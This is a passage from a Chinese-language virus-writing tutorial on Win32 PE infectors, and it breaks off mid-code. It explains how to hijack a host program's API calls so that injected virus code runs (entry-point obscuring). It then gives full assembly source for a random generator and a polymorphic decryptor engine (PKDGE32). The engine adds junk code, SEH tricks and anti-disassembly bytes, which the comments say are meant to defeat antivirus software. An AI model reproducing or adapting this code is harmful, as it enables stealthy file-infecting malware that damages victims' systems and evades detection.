那我们就必须使用别的方法使宿主中的病毒代码得到运行。最简单也是最常用的方法是修改
宿主程序的某个API调用。
首先,我们要了解一些不同的编译器对API调用的处理。我分别对tasm,fasm,masm,vc++等编
译器编译的程序进行了反汇编,发现:
对于tasm和masm编译器,API以如下方式调用:
E8xxxxxxxx call xxxxxxxx (相对地址)
.
.
.
FF25xxxxxxxx jmp dword ptr [xxxxxxxx]
首先, 程序通过一个call,跳到跳转表(前面讲过)中相应的位置,在这个位置上是一个
jmp。jmp到API函数的真正入口(存放在地址xxxxxxxx处)。
对于fasm和vc++编译器,API是直接调用的:
FF15xxxxxxxx call dword ptr [xxxxxxxx]
这时,地址xxxxxxxx处(位于引入节中)存放的就是API的地址。
现在的问题是,我们怎么知道这个jmp或者call的是不是一个有效调用(FF15xxxx也许只是
一些数据而非代码),这也是为什么我们要patch API调用而不是任意call。下面我给出一
个GriYo/29A的提出的判断方法,我认为这个是比较有效的方法。
从教程开始的PE分析中我们知道,一个程序在引入表引入的API(非动态加载)都对应一个
IMAGE_THUNK_DATA结构,通过这个结构我们就可以找到这个API的名字,通过这个名字以及
一个DLL句柄(可以使用kernel32.dll的句柄) 调用GetProcAddress, 如果函数返回这个
API的地址则说明这是一个有效API,那么我们就可以通过patch刚才找到的E8xxxxxxxx指令
或者FF15xxxxxxxx指令实现EPO。
在实现前我们还需要解决一个问题: 我们如何根据存放API地址的VA(虚拟地址)得到API
的名字以调用GetProcAddress来验证这个API的有效性呢?
我们知道, IMAGE_THUNK_DATA中的FirstThunk字段在PE文件加载前后(也就是说在磁盘上
和在内存中)具有不同含义(什么? 你没听说过?那还是回到前面再复习一下引入表结构
吧 :P)。 在磁盘中,它存放的是IMAGE_IMPORT_BY_NAME结构的RVA,而当PE被加载到内存
中时,FirstThunk字段便会被替换成API的真正入口地址。
说到这里一定有人会说, 可以用OrigianlFirstThunk来找到IMAGE_IMPORT_BY_NAME!其实
这个字段就是用来做这个的!但是,这并不是必须的!看看我们前面的代码:
dd 0 ; 我们并不需要OriginalFirstThunk
dd 0 ; 我们也不需要管这个时间戳
dd 0 ; 我们也不关心这个链
dd RVA usr_dll ; 指向我们的DLL名称的RVA
dd RVA usr_thunk ; 指向我们的IMAGE_IMPORT_BY_NAME数组的RVA
; 注意这个数组也是以0结尾的
dd 0,0,0,0,0 ; 结束标志
我们只是把OriginalFirstThunk置0了...
所以,为了程序的通用性,我们不能使用这个字段来找API的名字...
我们可以这样做:首先,我们通过FirstThunk字段的RVA计算出它在文件中的偏移,然后从
文件中的这个位置得到相应IMAGE_IMPORT_BY_NAME的RVA。
怎么通过RVA得到文件中的偏移呢?有时候最笨的方法却是最有效的。我们可以这样:
首先遍历节表, 根据节表中的VirtualAddress和VirtualSize字段判断RVA落在哪个节中。
找到RVA落在哪个节后, 用这个RVA减去这个节的VirtualAddress(这也是一个RVA)得到
一个节内偏移,最后把这个偏移加上这个节的PointerToRawData就得到了这个RVA在文件中
的偏移(RAW)。
我们可以考虑如下实现:
;
; __rva2raw procedure
; ===================
;
;
; Description
; -----------
;
; This procedure is used for converting RVA to RAW in a certain file. The func-
; tion follows the following stepz:
;
; 1) Visit each IMAGE_SECTION_HEADER of the PE file. Get each VirtualAddress
; and calculate the end RVA of each section by adding VirtualAddress and
; VirtualSize. Then test if the RVA is in the section.
; 2) If the RVA is in the section. Get the offset by subtracting the RVA
; from the start RVA of the section.
; 3) Get the RAW in the PE file by adding the offset and PointerToRawData.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- RVA to convert
; esi --- pointz to the first IMAGE_SECTION_HEADER
; ecx --- number of section header
;
; Output:
; eax --- RAW (offset in the file)
;
__rva2raw: pushad
r2r_sec_loop: mov ebx,[esi+12] ; get VirtualAddress
mov edx,ebx ; save it
cmp eax,ebx
jl r2r_next
add ebx,[esi+8] ; add VirtualSize
cmp eax,ebx
jg r2r_next
sub eax,edx ; get offset
add eax,[esi+20] ; calculate RAW
mov [esp+28],eax ; return
jmp r2r_ret ; ...
r2r_next: add esi,28h ; next section header
loop r2r_sec_loop
xor eax,eax ; not found
mov [esp+28],eax ; return 0
r2r_ret: popad
ret
下面我们就可以得到我们要patch的指令了,下面是一个具体实现:
;
; __epo procedure
; ===============
;
;
; Description
; -----------
;
; This procedure scanz these opcodez:
;
; E8 xx xx xx xx: call xxxxxxxx ; relative address
; ...
; FF 25 xx xx xx xx: jmp dword ptr [xxxxxxxx]
;
; or:
;
; FF 15 xx xx xx xx: call dword ptr [xxxxxxxx] ; API call
;
; Then, convert the RVA of FirstThunk, which containz the real API address, to
; RAW offset of the PE file and get the API name in the IMAGE_THUNK_DATA. Then,
; get the API address by GetProcAddress, if the function succeeded, it means we
; have got the API to patch.
;
;
; Parameterz and Return Valuez
; ----------------------------
;
; Input:
; eax --- image base
; ecx --- length of the section
; edx --- number of section header
; ebx --- pointz to the file buffer
; ebp --- library handle
; esi --- pointz to the code section to patch
; edi --- pointz to the first IMAGE_SECTION_HEADER
;
; Output:
; eax --- address of the instruction to patch
;
__epo: pushad
xor ebx,ebx ; result REG
lodsb ; load first byte
epo_search_l: dec ecx ; decrease counter
jz epo_ret
cmp al,0e8h ; search E8 xx xx xx xx
jz epo_e8_found
dec ecx ; decrease counter
lodsb
cmp al,0ffh ; search for 15FF
jnz epo_search_l
dec ecx ; decrease counter
lodsb
cmp al,15h ; 15FF ?
jnz epo_search_l
jmp epo_got_it
epo_e8_found: push esi ; save ESI
lodsd ; get relative address
add eax,esi ; address of 25FF
cmp word [eax],25ffh ; 25FF ?
pop esi ; restore ESI
jnz epo_search_l
xchg eax,esi ; eax --> esi
inc esi ; let ESI point to the address
inc esi ; which containz the API entry
epo_got_it: pushad
mov ebx,[esp+60] ; get image base
lodsd ; get the RVA
sub eax,ebx ; ...
xchg esi,edi ; edi --> esi
xchg ecx,edx ; edx --> ecx
call __rva2raw ; get RAW of IMAGE_THUNK_DATA
mov edx,[esp+48] ; get file buffer pointer
add eax,edx ; get RAW of ...
mov eax,[eax] ; IMAGE_IMPORT_BY_NAME
call __rva2raw ; ...
lea eax,[eax+edx+2] ; get the name of the API
push eax ; get proc address
push ebp ; ...
mov eax,12345678h ; ...
__addr_GetProcAddress = $-4 ; ...
call eax ; ...
or eax,eax
popad
jnz epo_got_api
xor ebx,ebx
jmp epo_search_l
epo_got_api: dec esi ; back to the beginning
dec esi ; of the instruction
xchg ebx,esi
jmp epo_ret
epo_ret: mov [esp+28],ebx ; save return value
popad
ret
11、多态(Polymorphism)
-----------------------
在谈多态之前让我们先来看一看简单的代码加密(当然,在这里我指的不是密码学上的加密
:P)。考虑如下代码:
__start: mov esi,code2encrypt
mov edi,esi
mov ecx,code_len
encrypt: lodsb
xor al,2fh
stosb
loop encrypt
code2encrypt: ...
code_len = $-code2encrypt
上面的代码把code2encrypt中的每个字节与密钥(上面代码中的2fh,当然它可以是任意值)
相异或,这样得到的代码就是经过加密的代码了。解密时只要把加密的代码与密钥再次异或
即可解密。
上面的方法是一般使用的加密方法,加密的代码只有经过动态解密过程才能被还原成可以执
行的原始代码。在感染的时候我们可以随机产生密钥并把经过这个密钥加密的代码写进宿主。
这样,由于加密时的密钥是随机产生的,那么通过简单的特征值检测的方法就无法检测出该
病毒。
但是这样还有一个问题,就是我们的解密代码每次都是相同的(仅仅是密钥的值不同),所
以这样的病毒依然存在特征值!解决的方法是使我们的解密代码在每次感染时也不相同,这
种对解密代码进行变换的技术叫做多态(polymorphism),我们一般称之为poly。
一个简单的poly引擎应该做到:
1、解密代码可以随机选取寄存器
2、可以随机调换先后顺序无关指令的顺序
3、可以替换形式不同但功能相同的指令
4、可以在解密代码的指令之间随机地插入垃圾指令
上面是最基本的要求,当然还可以:
5、使用一些平台相关技术,如SEH等
6、使用一些未公开指令
7、可以随机插入反静态反汇编指令
等等...
下面我们来看一下一个最简单的poly引擎的设计过程:
首先,我们可以把上面的解密(同时也是加密)代码一般化:
__start: mov Rx,code2encrypt
mov Ry,code_len
encrypt: xor byte [Rx],2fh
inc Rx
dec Ry
jnz encrypt
code2encrypt: ...
code_len = $-code2encrypt
对于这样的加密代码,首先我们可以看到,代码中的Rx和Ry寄存器是可以随机选取的,但不
要用ESP因为那是堆栈指针,也最好不要用EBP,那样在后面的代码生成时你会看到它的可怕
:P 然后,我们还可以看到,前两条指令的顺序是无关的,我们可以调换它们的顺序。其次,
我们还可以把MOV REG,IMM指令用PUSH IMM/POP REG指令对进行替换,因为它们完成相同的
功能。还有最重要的一点,我们要在这些指令之间插入一些垃圾指令。
11.1、随机数发生器
------------------
好了,对于一个poly引擎的设计我想我们已经有了一定的思路。让我们从头开始,先来设计
一个随机函数发生器(Random Number Generator, RNG)。RNG的好坏很大程度上决定了一
个poly引擎的质量 :|
获得随机数的一个最简单的办法可以调用Win32 API GetTickCount (),或者使用Pentium指
令RDTSC,它的opcode是310fh。我们可以使用如下代码:
__random: call [GetTickCount]
xor edx,edx
div ecx
xchg edx,eax
ret
或者使用RDTSC:
__random: db 0fh,31h
xor edx,edx
div ecx
xchg edx,eax
ret
但是这样做的效果并不好。下面我们来看一下我的RNG的设计:
我们先来看这样一个装置,我们称它为PN(伪噪声,Pseudo Noise)序列发生器,
(模2加法)
_____
/ /
+----------- | + | <-------------------------------+
| /_____/ |
| A |
| +------+ | +------+ +----+ |
+--> | Dn-1 | --+--> | Dn-2 | ---> ... ---> | D0 | --+--> 输出
+------+ +------+ +----+
A A A
| | |
时钟 ---------------+---------------+---------------------+
它由一个n位的移位寄存器和反馈逻辑组成,这里的反馈逻辑是一个模2加法(我们下面用*
表示这个运算),即:Dn = Dn-1 * D0。一般我们称移位寄存器通过从右至左的移动而形成
序列的状态为正状态,反之成为反状态。所以上图是一个反状态PN序列发生器(不过我们并
不需要关心这个 :P)。下面通过一个更为简单的例子来说明PN序列发生器是如何工作的:
(模2加法)
_____
/ /
+--------- | + | <--------------------+
| /_____/ |
| A |
| +----+ | +----+ +----+ |
+--> | D2 | --+--> | D1 | ---> | D0 | --+--> 输出
+----+ +----+ +----+
A A A
| | |
时钟 --------------+-------------+-----------+
假设我们的移位寄存器的初始状态为110,那么当下一个时钟信号到来时移位寄存器的状态就
变为111,随后是:011、101、010、001、100、110...
输出序列为:0111010 0...。我们称这样一个序列为一个伪噪声序列。
读者可以通过实验看出,当反馈逻辑不同时,就构成了不同的PN序列发生器,而这些不同的
发生器的线性移位寄存器产生的输出序列周期也不同,我们称周期为(2^n)-1的PN序列发生器
为m序列发生器。
由于一个m序列具有最大周期,所以我们可以使用它来产生我们的随机数(其实m序列本身就是
一个伪随机序列)。考虑如下代码:
;
; input:
; eax --- a non-zero random number, which could be generated by RDTSC or
; GetTickCount or such functionz
; output:
; eax --- the result of the function
;
__m_seq_gen: pushad
xor esi,esi ; use to save the 32bit m-sequence
push 32 ; loop 32 times (but it's not a
pop ecx ; cycle in the m-sequence generator)
msg_next_bit: mov ebx,eax
mov ebp,ebx
xor edx,edx
inc edx
and ebp,edx ; get the lowest bit
dec cl
shl ebp,cl
or esi,ebp ; output...
inc cl
and ebx,80000001h ; /
ror bx,1 ; /
mov edx,ebx ; /
ror ebx,16 ; module 2 addition
xor bx,dx ; /
rcl ebx,17 ; /
rcr eax,1 ; /
loop msg_next_bit
mov [esp+28],esi
popad
ret
下面是我的PKRNG中的随机函数发生器:
;
; input:
; eax --- pointz to the random seed field
; edx --- the range of the random number to be generated
; output:
; eax --- random number as result
;
__random: pushad
xchg ecx,edx
mov edi,eax
mov esi,eax
lodsd ; get the previous seed value
mov ebx,eax
mov ebp,ebx
call __m_seq_gen ; generate a m-sequence
imul ebp ; multiply with the previous seed
xchg ebx,eax
call __m_seq_gen ; generate anothe m-sequence
add eax,ebx ; to make noise...
add eax,92151fech ; and some noisez...
stosd ; write new seed value
xor edx,edx
div ecx ; calculate the random number
mov [esp+28],edx ; according to a specified range
popad
ret
下面的函数用来初始化随机种子:
;
; input:
; edi --- points to the seed field
; output:
; nothing
;
__randomize: pushad
db 0fh,31h ; RDTSC
add eax,edx ; ...
stosd ; fill in the seed buffer
popad
ret
11.2、动态代码生成技术
----------------------
这是一个非常简单的问题,比如我们要生成push reg指令:
首先,push reg的opcode为50h,这条指令的低3位用来描述reg。(为什么?复习一下计算
机原理吧 :P),所以push eax的opcode就为50h,push ecx的opcode就为51h...
对于这条指令生成,我们可以考虑如下代码:
; suppose ecx containz the register mask (000: eax, 001: ecx...)
xxxx ; push reg16 ?
jnz push_reg_32 ; ...
mov al,66h ; assistant opcode
stosb ; for push reg16...
push_reg_32: xchg cl,al
or al,50h
stosb
首先我们判断是否push16为寄存器,如果是我们先要生成辅助码66h,否则就可以直接生成
相应的机器码。
11.3、一个完整的引擎
--------------------
好了, 有了上面的这些技术和思想, 我们可以编写我们的poly engine了。 下面是我的
PKDGE32的完整代码:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This is the main procedure of the engine. It controlz the whole generation
; process, including SEH setup, instruction generation, junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; ecx --- decrypt buffer size (counter in bytez)
; edx --- decrypt key
; edi --- pointz to the buffer to save decryptor
; ebx --- pointz to the buffer where saved the encrypted code
; esi --- pointz to the RNG seed buffer
;
; Output:
; edi --- the end of the decryptor
; eax --- pointz to the address of the code which will be decrypted in
; the decryptor, this means we can place the code which will be
; decrypted anywhere by fixing the value pointed by EAX
;
__pkdge32: pushad
xor ebp,ebp
xchg esi,edi ; initialize the RNG seed
call __randomize ; ...
xchg esi,edi ; ...
;
; First, we select four random registerz for later use. These four registerz
; are all different
;
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
call pkdg_sel_reg
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;
push edi
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0e8h ; seh instruction 1
stosb ; ...
stosd ; addr 1, no matter what, fix l8r
push edi ; save addr1 to fix
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0824648bh ; seh instruction 2
stosd ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 3
stosb ; ...
stosb ; addr 2, no matter what, fix l8r
push edi ; save addr2 to fix
mov eax,[esp+4] ; fix addr1
xchg edi,eax ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 4
and ah,7 ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,7 ; ...
shl ebx,11 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0ff64h ; seh instruction 5
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,30h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8964h ; seh instruction 6
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,20h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 7
and eax,700h ; ...
or eax,08ffh ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 8
stosb ; ...
mov eax,[esp+8] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
mov ah,bh ; seh instruction 9
and eax,700h ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,700h ; ...
shl ebx,3 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8f64h ; seh instruction 10
stosw ; ...
mov al,bh ; ...
and eax,7 ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,bh ; seh instruction 11
and al,7 ; ...
or al,58h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
add esp,8 ; balance the stack
;
; Now, generate the first two instructionz with junk codez between them, and
; permute the two instructionz in a random order.
;
mov ecx,2
call __random_rdtsc
or ecx,ecx
jz pkdg_gen_12
call pkdg_gen_1
call pkdg_gen_2
jmp pkdg_gen_f2f
pkdg_gen_12: call pkdg_gen_2
call pkdg_gen_1
;
; The last step, we generate the last four instructionz with junk codez in them
; these four instructionz must in the same order, but the registerz they use
; are still random
;
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
push edi ; save loop address
push esi
mov eax,ebx ; xor byte [Rw],Imm8
shr eax,12 ; ...
and al,7 ; ...
mov esi,[esp+28] ; ...
call __pkdge32_gen_xor_reg_imm
pop esi
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; inc Rw
shr eax,12 ; ...
and eax,7 ; ...
or al,40h
stosb
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; dec Rz
shr eax,4 ; ...
and eax,7 ; ...
or al,48h ; ...
stosb ; ...
pop eax ; jnz decrypt_loop
sub eax,edi ; get delta
dec eax ; ...
dec eax ; ...
push eax
mov al,75h ; write opcode
stosb ; ...
pop eax
stosb ; write operand
xor eax,eax
call __pkdge32_junk
mov [esp],edi ; save new EDI
popad
ret
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
mov eax,ebx ; get Rw
shr eax,12 ; ...
call pkdge32_gen12
mov [esp+32],eax ; save offset of code2decrypt
ret
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
mov eax,ebx ; get Rz
shr eax,4 ; ...
and eax,0fh ; ...
call pkdge32_gen12
ret
;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;
pkdge32_gen12: push ecx
push eax ; save mask
mov ecx,2 ; determine using MOV REG/IMM
call __random_rdtsc ; or PUSH IMM/POP REG
or eax,eax
pop eax ; restore mask
pop ecx
jz pkdg_g123_0
call __pkdge32_gen_mov_reg_imm
push edi
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
push eax
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
;
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
; make EBX to the following structure:
;
; 31 15 0
; +-----+-----+-----+-----+------+------+------+------+
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
; +-----+-----+-----+-----+------+------+------+------+
;
pkdg_sel_reg: mov eax,[esp+8] ; select random register
mov edx,8 ; ...
call __random ; ...
or al,al
jz pkdg_sel_reg ; don't use EAX
cmp al,4
jz pkdg_sel_reg ; don't use ESP
cmp al,5
jz pkdg_sel_reg ; don't use EBP
or al,8 ; DWORD type
push ebx
and ebx,0fh
cmp bl,al ; R == Rx ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,4
and ebx,0fh
cmp bl,al ; R == Rz ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,8
cmp bl,al ; R == Ry ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,12
cmp bl,al ; R == Rw ?
pop ebx
jz pkdg_sel_reg
ret
;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All the register mask in the engine (PKDGE32) measure up this formula:
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 | type |
; +-------+-------+--------+
; | x | 0 | byte |
; +-------+-------+--------+
; | 0 | 1 | dword |
; +-------+-------+--------+
; | 1 | 1 | word |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing
;
__pkdge32_test_regmask:
test ah,1
jz pkdg_trm_ret
push eax
mov al,66h
stosb
pop eax
pkdg_trm_ret: ret
;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_mov_reg_imm:
call __pkdge32_test_regmask
push esi
or al,0b0h ; generate opcode
stosb ; ...
xchg eax,esi ; EAX get the operand
shr esi,4
jc pkdg_gmri_dw ; word/dword ? byte ?
stosb ; byte
pop esi
ret
pkdg_gmri_dw: shr esi,5
pop esi
jc pkdg_gmri_w
stosd ; dword
ret
pkdg_gmri_w: stosw ; word
ret
;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_pushimm_popreg:
call __pkdge32_test_regmask
push ecx
mov ecx,esi ; save IMM in ecx
xchg esi,eax
test esi,8 ; test BYTE or WORD/DWORD
jz pkdg_gpp_b
mov al,68h ; push WORD/DWORD
stosb ; write opcode
xchg eax,ecx ; get IMM
test esi,100h ; test WORD or DWORD
jnz pkdg_gpp_w
stosd ; write operand
jmp pkdg_gpp_pop
pkdg_gpp_w: stosw
jmp pkdg_gpp_pop
pkdg_gpp_b: mov al,6ah ; push BYTE
stosb ; write opcode
mov al,cl ; get IMM
stosb ; write operand
pkdg_gpp_pop: push edi
xor eax,eax
push esi
mov esi,[esp+28]
call __pkdge32_junk
pop esi
call __pkdge32_test_regmask
xchg esi,eax
or al,58h ; generate POP opcode
stosb ; write pop REG opcode
pop eax
pop ecx
ret
;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; esi --- the immediate number
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_xor_reg_imm:
call __pkdge32_test_regmask
test al,1000b
jnz pkdg_gxri_dw
and eax,7 ; register mask
xchg al,ah
or eax,3080h
stosw
xchg eax,esi
stosb
ret
pkdg_gxri_dw: push eax
and eax,7 ; register mask
xchg al,ah
or eax,3081h
stosw
xchg eax,esi
pop esi
shr esi,9
jc pkdg_gxri_w
stosd ; dword
ret
pkdg_gxri_w: stosw ; word
ret
;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator. It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This procedure use EAX as junk register in order to generate instructionz
; like:
;
; mov eax,21343ab7h
; shr eax,8
; or:
; push eax
; rol eax,1
; pop eax
; etc.
;
; It generatez dummy jumpz such as:
;
; call @1
; junk
; jmp @3
; @2: junk
; ret
; @1: junk
; jmp @2
; @3: junk
;
; It also generatez anti-static-debugging opcodez such as:
;
; jmp @0
; db e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- If eax equalz to zero, the function generatez random length of
; instructionz, if eax is nonzero, the function generatez a
; certain length of instruction.
; esi --- pointz to the RNG seed buffer
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing but junk codez in the buffer that EDI specified
;
__pkdge32_junk: pushad
xor ebx,ebx
xchg esi,ebp ; let EBP hold the seed ptr.
or eax,eax ; EAX containz number from 0~7
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
mov edx,7 ; 6: generate dummy jumpz
mov eax,ebp
call __random ; ...
pkdg_js: or eax,eax ; 0: nothing to do
jz pkdg_j_ret ; just go back
xchg ecx,eax ; let ECX hold that number
cmp ecx,6
jz pkdg_j_dj
;
; Generate certain length simpile instructionz
;
pkdg_j_gclsi: mov edx,ecx
mov eax,ebp
call __random
or eax,eax
jz pkdg_j_g1b
dec eax
jz pkdg_j_g2b
dec eax
jz pkdg_j_g3b
dec eax
dec eax
jz pkdg_j_g5b
jmp pkdg_j_gclsi
;
; Generate 5-byte instruction
;
pkdg_j_g5b: call pkdg_j_5
db 0b8h ; mov eax,imm32
db 05h ; add eax,imm32
db 15h ; adc eax,imm32
db 2dh ; sub eax,imm32
db 1dh ; sbb eax,imm32
db 3dh ; cmp eax,imm32
db 0a9h ; test eax,imm32
db 0dh ; or eax,imm32
db 25h ; and eax,imm32
db 35h ; xor eax,imm32
pkdg_j_5: pop esi
mov eax,ebp
mov edx,10
call __random
add esi,eax
movsb
mov eax,ebp
mov edx,0fffffffch
call __random
inc eax
inc eax
stosd
sub ecx,5 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 3-byte instruction
;
pkdg_j_g3b: call pkdg_j_3
db 0c1h,0e0h ; shl eax,imm8
db 0c1h,0e8h ; shr eax,imm8
db 0c1h,0c0h ; rol eax,imm8
db 0c1h,0c8h ; ror eax,imm8
db 0c1h,0d0h ; rcl eax,imm8
db 0c1h,0d8h ; rcr eax,imm8
db 0c0h,0e0h ; shl al,imm8
db 0c0h,0e8h ; shr al,imm8
db 0c0h,0c0h ; rol al,imm8
db 0c0h,0c8h ; ror al,imm8
db 0c0h,0d0h ; rcl al,imm8
db 0c0h,0d8h ; rcr al,imm8
db 0ebh,01h ; anti-static-debugging instr.
pkdg_j_3: pop esi
mov eax,ebp
mov edx,13
call __random
shl eax,1 ; EAX *= 2
add esi,eax
movsw
cmp eax,24
jge pkdg_j3_anti
mov eax,ebp
mov edx,14
call __random
inc eax
inc eax
pkdg_j_3f: stosb
sub ecx,3 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
pkdg_j3_anti: mov eax,ebp
mov edx,10h
call __random
add al,70h
jmp pkdg_j_3f
;
; Generate 2-byte instruction
;
pkdg_j_g2b: call pkdg_j_2
db 89h ; mov eax,reg
db 01h ; add eax,reg
db 11h ; adc eax,reg
db 29h ; sub eax,reg
db 19h ; sbb eax,reg
